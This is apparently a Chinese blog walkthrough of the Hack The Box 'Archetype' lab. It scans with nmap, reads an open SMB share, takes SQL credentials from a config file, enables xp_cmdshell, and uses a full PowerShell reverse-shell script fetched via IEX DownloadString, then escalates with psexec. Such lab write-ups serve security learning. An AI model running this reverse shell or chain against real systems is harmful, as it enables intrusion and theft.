文章目录

  • 前言
  • 配置代理
  • 解题
    • 信息搜集
    • SMB
    • SQL Server拿shell
    • *持久化shell
    • User Owns Flag
    • System Owns Flag

前言

操作基于Kali 2020,参照官方wp

配置代理

Kali连接下发的代理

openvpn xxx.ovpn

ifconfig获取当前Kali的ip,10.10.14.*网段的ip

此时靶机可以ping通,靶机ip10.10.10.27

解题

信息搜集

用nmap扫一下

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

第一条指令列出了开放的端口

  • -p-扫描所有端口,原型是-p0-65535
  • --min-rate指定最小发包速率
  • -T4指定扫描时序速率,范围0-5,值越大越快

第二条指令进行了具体端口扫描

  • -sC指定使用默认扫描脚本
  • -sV指定探测版本信息

445、1433端口是开放的;445是SMB的端口,1433是SQL Server的端口

那么看到这就提供了一条思路:文件共享一般存储了敏感用户信息,可以尝试查找数据库和Linux的用户信息,进而走SQL Server进入

SMB

Linux使用smbclient读取SMB

目标主机是Windows,目录分隔符要转义

smbclient -N -L \\\\10.10.10.27\\
  • -N指定不验证密码
  • -L表示列出信息
  • ip需要用双斜杠

发现靶机共享了backups备份文件夹,找一找有没有好康的

smbclient -N \\\\10.10.10.27\\backups
smb: \> dir

找到一个.dtsConfig,它是SSIS的配置文件,即Microsoft SQL Server Integration Services,把它下载下来康康

smb: \> get prod.dtsConfig

get指令能下载指定文件到terminal的路径下

<DTSConfiguration><DTSConfigurationHeading><DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/></DTSConfigurationHeading><Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String"><ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue></Configuration>
</DTSConfiguration>

在配置文件中找到了主机名\用户ARCHETYPE\sql_svc,密码M3g4c0rp123,接下来就能连数据库了

SQL Server拿shell

用Impacket工具包访问数据库

SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

使用里面的工具mssqlclient.py

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
  • username@ip指定连接信息
  • -windows-auth指定验证登录

进入数据库后先看看当前用户是否属于admin

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

返回1即属于admin

接下来就是开启shell的权限

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami"

先开高级选项,再开shell,最后测试一下可以用

至此我们已经初步拿到了shell

*持久化shell

SQL Server的shel还略显单薄,既然是Windows,那么就尝试用Powershell脚本、nc监听做一个持久化的连接

第一行的IP填写最开始获取的Kali IP,注意网段

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

另存到Kali的桌面,名称为shell.ps1

之后用python起一个服务器,以便靶机访问脚本、下载脚本,服务器在桌面起,和shell.ps1在同一个文件夹

python3 -m http.server 80

要确保起了后能访问到脚本

nc起一个监听用于shell交互,端口同上所设置的443

nc -lvnp 443

返回mssqlclient,让靶机访问、下载、运行脚本,同理xxx是Kali IP

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"

  • 左上是服务器,如果收到了get请求,证明靶机访问了shell.ps1
  • 左下是client端,用nc监听,有来自10.10.10.27的连接请求证明连接成功
  • 右侧靶机执行运行脚本,运行后得到左侧

用nc就可以进行shell交互了

User Owns Flag

访问桌面获取到flag文件

type c:\Users\sql_svc\Desktop\user.txt

System Owns Flag

拿到了shell,找一找最近的历史

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

获取到了backups的映射和管理员密码MEGACORP_4dm1n!!,之后使用impacket的psexec.py提权

psexec.py administrator@10.10.10.27

同理,桌面获取flag

type c:\Users\Administrator\Desktop\root.txt

『Hack The Box』Archetype相关推荐

  1. 2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限

    2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限 --------CONTENTS-------- 一.Webshell原理 1.什么是WebShell 2.We ...

  2. 『HTML5挑战经典』是英雄就下100层-开源讲座(二)危险!英雄

    本篇为<『HTML5挑战经典』是英雄就下100层-开源讲座>第二篇,需要用到开源引擎lufylegend,可以到这里下载: 下载地址:http://lufylegend.googlecod ...

  3. 20155308『网络对抗技术』Exp7:网络欺诈防范

    20155308『网络对抗技术』Exp7:网络欺诈防范 原理与实践说明 1.实践目标 本实践的目标是:理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 2.实践内容概述 简单应用SET ...

  4. iOS多线程:『NSOperation、NSOperationQueue』详尽总结

    2019独角兽企业重金招聘Python工程师标准>>> iOS多线程:『NSOperation.NSOperationQueue』详尽总结 转载: 原地址https://www.ji ...

  5. 『Python基础-11』集合 (set)

    # 『Python基础-11』集合 (set) 目录: 集合的基本知识 集合的创建 访问集合里的值 向集合set增加元素 移除集合中的元素 集合set的运算 1. 集合的基本知识 集合(set)是一个 ...

  6. [日推荐]『知乐邀请函』好用的H5制作工具

    2019独角兽企业重金招聘Python工程师标准>>> 今天小编要给大家推荐一款很好用的H5制作小程序. 知乐邀请函 简介:知乐邀请函,在微信小程序中制作流行的H5页面.有官方和设计 ...

  7. html点击按钮切换图片代码_SVG创意推文—『点击开窗』教程

    嘿,胖友们大家好呀,我是三儿. 好久不见,胖友们有没有想我呀!最近这段时间,各大官媒齐齐出手,朝着SVG创意推文进军.之前人民日报推了一篇<点亮武汉>在当时引起了不小的轰动,三儿也连忙出了 ...

  8. 【NLP】万字长文带你解读『虚假新闻检测』最新进展

    NewBeeNLP原创出品 公众号专栏作者 @byn blog | https://blog.csdn.net/byn12345 互联网时代,假新闻铺天盖地,而且极具迷惑性,因此假新闻检测任务对逻辑的 ...

  9. 『PaddlePaddle X Wechaty』有颜又有才的Living_Bot

    『PaddlePaddle X Wechaty』有颜又有才的Living_Bot 视频奉上先 BiliBili视频 AIStudio地址(本项目全部相关文件放在此地址中可供下载) wechaty介绍 ...

最新文章

  1. Calling Oracle stored procedures from Microsoft.NET
  2. php 定义goto函数错误,goto语法在PHP中的使用教程
  3. java内存图怎么画,jvm内存模型怎么画?简单美观的模型图制作软件
  4. java是如何实现原语的_Java中的低GC:使用原语而不是包装器
  5. live555学习笔记3-消息循环
  6. MySQL入门 (二) : SELECT 基础查询
  7. 【Python】Pygame入门
  8. 智慧城市java开发_智慧城市主界面开发 使用eclipse开发智慧城市APP源码 - 下载 - 搜珍网...
  9. python清洗数据去除停用词_python去除停用词(结巴分词下)
  10. 基于GPON的光纤光栅通信网与传感网融合技术研究
  11. java 文件比对(四)-- 使用 diffutils
  12. 三种定位+堆叠+li小黑点变图片
  13. excel取消合并单元格并填充内容的技巧
  14. Vscode信任问题
  15. VirtualBox运行出现“0x00000000指令引用的0x00000000内存。该内存不能为written”
  16. 怎么查看笔记本内存条型号_「电脑内存怎么看」电脑内存怎么看大小(内存条怎么看几代型号) - seo实验室...
  17. EL表达式JSTL标签库小结
  18. 动态爬取链家二手房成交记录并保存至Excel
  19. 头条面试题:判断一个数是否是happy number(每一位的平方和最终为1)
  20. 七款酷炫的 Mac 屏保

热门文章

  1. 一个可在多种编程语言之间转换代码的IDE工具:ide.onelang.io
  2. AVOS Cloud Hackathon - SegmentFault
  3. 整蛊小病毒,自己拿来快乐
  4. 极智开发 | 谈谈 GPU 利用率
  5. Zabbix 实现简单的WEN监测
  6. ubuntu 更新chrome
  7. 基于TCP的应用层协议 与基于UDP的应用层协议分别有哪些
  8. MeeGo handset 1.1开发环境[6]:封装*.src.rpm和*.rpm
  9. 蓝桥杯基础练习超全习题题解VIP版——BASIC-26.报时助手(护眼版)
  10. ThinkJS安装到启动